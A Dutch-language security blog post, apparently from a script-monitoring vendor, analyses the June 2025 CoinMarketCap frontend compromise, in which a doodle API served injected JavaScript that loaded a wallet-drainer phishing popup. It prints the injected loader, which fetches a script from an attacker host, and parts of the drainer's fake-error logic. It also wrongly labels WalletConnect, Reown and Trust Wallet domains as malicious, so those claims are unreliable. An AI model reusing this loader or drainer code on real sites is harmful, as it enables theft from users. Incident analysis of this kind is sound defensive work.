
Op 20 juni 2025 werd CoinMarketCap (CMC) - een hoeksteen van het cryptocurrency-ecosysteem, waarop miljoenen mensen vertrouwen voor realtime crypto-data - getroffen door een ernstig beveiligingsincident. Een client-side aanval compromitteerde de frontend en verleidde gebruikers om hun crypto-wallets te koppelen via een geavanceerde phishingconstructie. Dit incident legt kritieke kwetsbaarheden bloot in vertrouwde content delivery-paden. Hoewel we niet weten of de API-respons werd gecompromitteerd via code van derden of door een interne misconfiguratie, was het resultaat duidelijk: uitvoering van client-side malware via een vertrouwde API.
Hieronder analyseren we de aanval op twee niveaus: een beknopte samenvatting voor niet-technische stakeholders en een gedetailleerde technische analyse voor beveiligingsprofessionals.
Beknopte Samenvatting: Wat Is Er Gebeurd?
Bron: https://x.com/DarkWebInformer/status/1936209452878745680
De popups maakten geen deel uit van de legitieme functies van CMC - ze waren het resultaat van een client-side aanval die de frontend van de website had overgenomen.
Timing van de Aanval

Op 20 juni 2025 begonnen bezoekers van de homepage van CoinMarketCap onverwachte popups te zien. Deze popups, ontworpen om de huisstijl van CoinMarketCap na te bootsen, spoorden gebruikers aan om "hun wallets te verifiëren" om "volledige toegang" tot het platform te behouden.
Cruciale timing: De eerste kwaadaardige transactie die aan de aanval was gekoppeld, werd uitgevoerd om 16:57 uur EST - een tijdstip dat waarschijnlijk bewust werd gekozen om samen te vallen met het einde van de werkdag voor engineers en beveiligingsteams, waardoor directe detectie werd vertraagd.
Belangrijkste Inzichten voor Niet-Technische Stakeholders
- Hoe het begon: De aanval startte met een klein, ogenschijnlijk onschuldig element op de homepage van CMC: een "doodle"-afbeelding (een decoratieve afbeelding, zoals een feestelijk logo).
- Wat er daarna gebeurde: Deze doodle-afbeelding was gekoppeld aan een niet-vertrouwde bron (een JSON-bestand) die werd gehost op een extern domein (cdnkit[.]io). Deze bron bevatte verborgen code die een neppopup in de browser van de gebruiker injecteerde.
- De oplichting: De popup zag er legitiem uit, met de kleuren, logo's en dringende taal van CMC om gebruikers te verleiden hun crypto-wallets te koppelen (bijv. MetaMask, Phantom). Eenmaal gekoppeld konden aanvallers geld stelen.
- Waarom dit ernstig is: Hoewel deze aanval vanuit het perspectief van de frontend leek op een supply chain-compromittering - omdat kwaadaardige code werd afgeleverd via een vertrouwd eindpunt - kan de onderliggende oorzaak een directe wijziging van een first-party API-respons zijn geweest. De werkelijke oorsprong is onduidelijk zonder interne toegang. Vanuit het perspectief van de frontend benadrukt dit echter hoe gevaarlijk het is wanneer vertrouwde datakanalen worden misbruikt.
Technische Diepteanalyse: Hoe de Aanval Werkte
Om de werking van de aanval te begrijpen, splitsen we deze op in fasen: van de initiële trigger tot de uiteindelijke payload.
Fase 1: De Doodle-afbeelding - Initiële Compromittering
De homepage van CoinMarketCap bevatte een "doodle"-sectie, een veelgebruikte functie voor feestdagen of evenementen (bijv. een speciaal logo voor Wereldhartdag). Deze doodle werd dynamisch geladen via een API-verzoek naar https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5
De API retourneerde een JSON-bestand met metadata over actieve doodles, inclusief links naar afbeeldingsbestanden.
De Kwaadaardige JSON-respons
De JSON-respons bevatte een verwijzing naar een bestand dat werd gehost op cdnkit[.]io:
"lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json"
Deze URL wees niet naar een gewone afbeelding. In plaats daarvan retourneerde deze een ander JSON-bestand met ingebedde JavaScript-code.
Fase 2: Geïnjecteerd JavaScript - Client-Side Uitvoering
De JSON van cdnkit[.]io bevatte een verborgen JavaScript-fragment dat was ontworpen om in de browser van de gebruiker te worden uitgevoerd. Hieronder een vereenvoudigde uitsplitsing van de code:
// Check if the attack has already been injected
if (!window.cmcInjected) {
window.cmcInjected = true;
// Modify the page to hide legitimate elements (e.g., the real CMC logo)
const logo = document.querySelector('.cmc-logo');
if (logo) {
logo.title = 'Go to homepage'; // Fake title to mimic legitimacy
logo.removeAttribute('data-text');
}
// Add CSS to style the fake popup
const style = document.createElement('style');
style.textContent = `.cmc-logo svg{margin-top:-3px}...`; // Hides real elements
document.head.appendChild(style);
// Inject the malicious popup script
const script = document.createElement('script');
script.src = 'https://static[.]cdnkit[.]io/cmc/popup[.]js';
document.head.appendChild(script);
}
Belangrijkste Observaties
- Client-side uitvoering: De code wordt uitgevoerd in de browser van de gebruiker, niet op de servers van CMC. Dit omzeilt server-side beveiligingstools.
- Persistentiecontrole: De vlag
window.cmcInjectedzorgt ervoor dat het script slechts één keer per sessie wordt uitgevoerd, waardoor detectie wordt vermeden. - DOM-manipulatie: Het script wijzigt de HTML/CSS van de pagina om legitieme elementen te verbergen (bijv. het echte CMC-logo) en bereidt de neppopup voor.
Fase 3: De Neppopup - Phishinginterface
Het geïnjecteerde script (popup[.]js, gehost op blockassets[.]app) creëerde een realistisch ogende overlay. Zo werkte het:
Structuur van de Popup
De popup bootste het ontwerp van CMC na, met:
- Een titel "Verify Your Wallet".
- Een bericht dat urgentie uitstraalde: "Please connect your wallet now to authenticate and maintain full access to your CoinMarketCap account."
- Een knop "Connect Wallet" die qua stijl overeenkwam met de UI van CMC.
JavaScript-logica
Het script popup[.]js bevatte functies om:
- De popup weer te geven: Een volledig scherm bedekkende overlay met het nepbericht toe te voegen.
- Gebruikersinteractie af te handelen: Wanneer de gebruiker op "Connect Wallet" klikt, probeert het script verbinding te maken met een crypto-wallet (bijv. MetaMask, Phantom).
- Gegevens te exfiltreren: Als er verbinding is gemaakt, communiceert het script met malafide domeinen (bijv.
walletconnect[.]com,trustwallet[.]com) om walletgegevens of privésleutels te stelen.
Fase 4: Domeinanalyse - Verdachte Infrastructuur
De aanval maakte gebruik van domeinen met duidelijke waarschuwingssignalen:
| Domein | Details |
|---|---|
| cdnkit[.]io | Hostte de initiële kwaadaardige JSON. Domein geregistreerd in 2020; geen directe link met CMC. |
| blockassets[.]app | Hostte popup[.]js en f43f9316-f6a5-4626-bafd-fd4fd52cb490[.]js. WHOIS-gegevens van het domein tonen aan dat het niet eigendom is van CMC. |
| admin2[.]prod[.]coinmarketcap[.]supply | Een verkeerd gespeld domein (supply in plaats van com) dat de infrastructuur van CMC nabootst. WHOIS toont dat het 2.677 dagen oud is (aangemaakt in 2018) en niet eigendom is van CMC. |
| walletconnect[.]com | Verwijst door naar reown[.]com, een bekend oplichtersgerelateerd domein. |
| trustwallet[.]com | Historisch gelinkt aan frauduleuze browserextensies (volgens gebruikersrecensies). |
Fase 5: Wallet Drainer - Technische Payloads
Het script popup[.]js werkte samen met een grotere JavaScript-bibliotheek (gehost op blockassets[.]app) die functies bevatte voor:
- Walletverbinding: Het detecteren en verbinden met populaire wallets (MetaMask, Phantom, enz.).
- Adaptieve aanvalslogica: Het aanpassen van de phishingflow op basis van het gedetecteerde wallettype om beveiligingswaarschuwingen en mislukte handtekeningen te vermijden.
- Transactieondertekening: Gebruikers verleiden tot het ondertekenen van kwaadaardige transacties (bijv. het goedkeuren van token-overdrachten).
- Foutafhandeling: Het weergeven van nepfoutmeldingen (bijv. "Your wallet is blacklisted") om gebruikers onder druk te zetten het opnieuw te proberen met een andere wallet.
Voorbeeld Codefragment
De functie customPopupOpen in popup[.]js beheerde het gedrag van de popup:
window.customPopupOpen = function(params) {
const stepName = params.stepName;
return new Promise((resolve) => {
const errorSteps = ["blacklisted", "connect_empty", "connect_too_low", ...];
if (errorSteps.includes(stepName)) {
// Show fake error message
injectToasterMessage({
blacklisted: "Your wallet is not AML clear, you can't use it!",
connect_empty: "For security reasons we can't allow you to connect empty or new wallet.",
...
}[stepName]);
} else {
// Show loading spinner to trick users
modalFooter.classList.add("loading");
resolve(); // Continue drainer script
}
});
};
Onthullingen na de Aanval

In de uren na het incident deelde een Telegram-kanaal genaamd "CommLeaks" screenshots die afkomstig zouden zijn van het controlepaneel van de aanvaller. Deze afbeeldingen, gekoppeld aan de "Inferno Drainer" (een gedocumenteerd kwaadaardig hulpmiddel voor het leegplunderen van crypto-wallets), onthulden:
- Totaal gestolen bedrag: Ongeveer $43.266 USD werd ontvreemd van 110 slachtoffers die interactie hadden met de nep-walletverificatiepopup.
- Omvang van de aanval: Het dashboard benadrukte het bereik van de aanval, waarbij honderden gebruikers werden verleid hun wallets te koppelen. Dit onderstreept de effectiviteit van de social engineering-tactieken (urgentie, realistische UI) in combinatie met de client-side compromittering.
Waarom Deze Aanval Belangrijk Is
De Groeiende Dreiging van Third-Party JS-aanvallen
Het incident bij CoinMarketCap benadrukt een patroon dat we vaker zien: aanvallen die vertrouwde content delivery-kanalen misbruiken, of het nu gaat om bibliotheken van derden of interne API's, om kwaadaardige scripts in de browsers van gebruikers te injecteren. Aanvallers richten zich steeds vaker op bibliotheken, CDN's en SaaS-tools die in websites zijn geïntegreerd. Voorbeelden:
- De Polyfill-aanval (februari 2024) waarbij kwaadaardige code werd verspreid via cdn[.]polyfill[.]io, een veelgebruikte service voor browsercompatibiliteit
- Scripts van derden hebben vaak toegang tot gevoelige gebruikersgegevens (bijv. cookies, walletadressen), waardoor ze een aantrekkelijk doelwit zijn
Waarom traditionele verdedigingen tekortschieten:
- Server-side beveiligingstools (firewalls, WAF's) kunnen de uitvoering van client-side code niet inspecteren.
- Zelfs vertrouwde services (bijv. analyseplatforms) kunnen worden gecompromitteerd, zoals te zien was bij de doodle-aanval op CoinMarketCap.
Kwetsbaarheden in Vertrouwde Datapaden
Vanuit het perspectief van de client lijkt dit incident op een supply chain-aanval waarbij kwaadaardige inhoud via een vertrouwd pad werd afgeleverd - maar de grondoorzaak kan een directe compromittering van de backend zijn geweest. Hoewel er nog geen bewijs is dat een derde partij werd gecompromitteerd, maakte de aanval gebruik van een vertrouwd API-eindpunt (/doodle/get) om kwaadaardige code af te leveren. Dat betekent dat zelfs first-party infrastructuur, als deze verkeerd is geconfigureerd of gecompromitteerd, onbedoeld een distributiekanaal voor malware kan worden - net zoals een besmette bibliotheek of CDN dat zou doen. ⚠️ Verduidelijking: Was dit werkelijk een supply chain-aanval?
We weten nog niet of een third-party afhankelijkheid werd gecompromitteerd, of dat de /doodle/get API intern werd gewijzigd. Vanuit het perspectief van de frontend gedroeg het zich echter als een supply chain-aanval, omdat kwaadaardige inhoud werd afgeleverd via een vertrouwde service - waardoor de impliciete vertrouwensketen werd verbroken, ongeacht de oorsprong.
Client-Side Risico's
Client-side aanvallen (code die wordt uitgevoerd in de browser van de gebruiker) zijn bijzonder gevaarlijk zonder client-side bescherming, omdat:
- Ze server-side beveiligingstools omzeilen (bijv. firewalls, inbraakdetectiesystemen).
- Ze het vertrouwen van gebruikers in een bekend platform (CMC) uitbuiten.
- Ze zich snel kunnen verspreiden, omdat de kwaadaardige code bij elk paginabezoek wordt geladen.
Hoe U Zichzelf Kunt Beschermen
Voor Gebruikers
- Vermijd ongewenste popups: Koppel uw wallet nooit via een popup, zelfs niet op vertrouwde sites. Legitieme platforms vragen niet om walletverbindingen via onverwachte popups.
- Gebruik adblockers: Tools zoals uBlock Origin of AdGuard kunnen voorkomen dat kwaadaardige scripts worden geladen.
- Controleer domeinen: Let op typefouten in URL's (bijv.
coinmarketcap[.]supplyvs.coinmarketcap[.]com). - Controleer elke goedkeuring: Lees vóór het ondertekenen de details in uw wallet zorgvuldig. Wees extra voorzichtig bij verzoeken om brede machtigingen.
Voor Platforms (bijv. CMC)
- Controleer integraties van derden: Beoordeel regelmatig alle externe bronnen (afbeeldingen, scripts, API's) die op uw platform worden geladen.
- Subresource Integrity (SRI): SRI kan worden gebruikt om scripts aan hashes te koppelen (bijv. ``). In de meeste gevallen is SRI echter geen optie vanwege het sterk dynamische gedrag van JavaScript. Bovendien geeft SRI geen waarschuwingen bij overtredingen, waardoor het moeilijk te gebruiken is in productie.
- Bewaak client-side activiteit: Gebruik tools zoals Sentry of New Relic om onverwachte JavaScript-uitvoering te detecteren.
Maak gebruik van monitoringtools voor third-party JS: Scripts van derden zijn een essentieel onderdeel van de moderne web supply chain, maar brengen ook risico's met zich mee. Kwaadaardige code die via bibliotheken van derden wordt geïnjecteerd (bijv. analysetools, advertentienetwerken of polyfills) kan gebruikersgegevens compromitteren of aanvallen zoals het CoinMarketCap-incident mogelijk maken.
Hoe cside kan helpen: Platforms zoals cside zijn gespecialiseerd in het monitoren, beveiligen en optimaliseren van third-party JavaScript. Hun diensten omvatten:
- Realtime payload-analyse: Volg elk verzoek om kwaadaardige wijzigingen in scripts van derden te detecteren
- Detectie van supply chain-aanvallen: Identificeer gecompromitteerde afhankelijkheden (bijv. het incident met
cdn[.]polyfill[.]ioin februari 2024, waarbij kwaadaardige code in duizenden sites werd geïnjecteerd) - PCI-complianceondersteuning: Zorg ervoor dat integraties van derden voldoen aan de beveiligingsnormen voor sectoren die gevoelige gegevens verwerken
Concrete stap: Maak een gratis account aan op cside.com om te beginnen met het monitoren van uw third-party scripts en uzelf te beschermen tegen supply chain-kwetsbaarheden.
Conclusie
Het incident bij CoinMarketCap is een harde herinnering aan de kwetsbaarheid van vertrouwen in het digitale tijdperk. Door een klein element zoals een doodle-afbeelding te kapen, wisten aanvallers een platform te infiltreren waarop miljoenen mensen vertrouwen en dat vertrouwen te misbruiken om geld te stelen. Naarmate de adoptie van crypto groeit, neemt ook de noodzaak voor waakzaamheid toe - zowel van platforms die hun vertrouwde content delivery-paden beveiligen als van gebruikers die elke interactie kritisch bekijken. Voor beveiligingsteams onderstreept dit incident het belang van supply chain-risicobeheer en client-side beveiliging. Voor gebruikers is het een oproep om alert te blijven: zelfs vertrouwde platforms kunnen het slachtoffer worden van slimme phishingtactieken.
Speciale dank aan onze vriend en gastblogbijdrager, Jack LaFond.









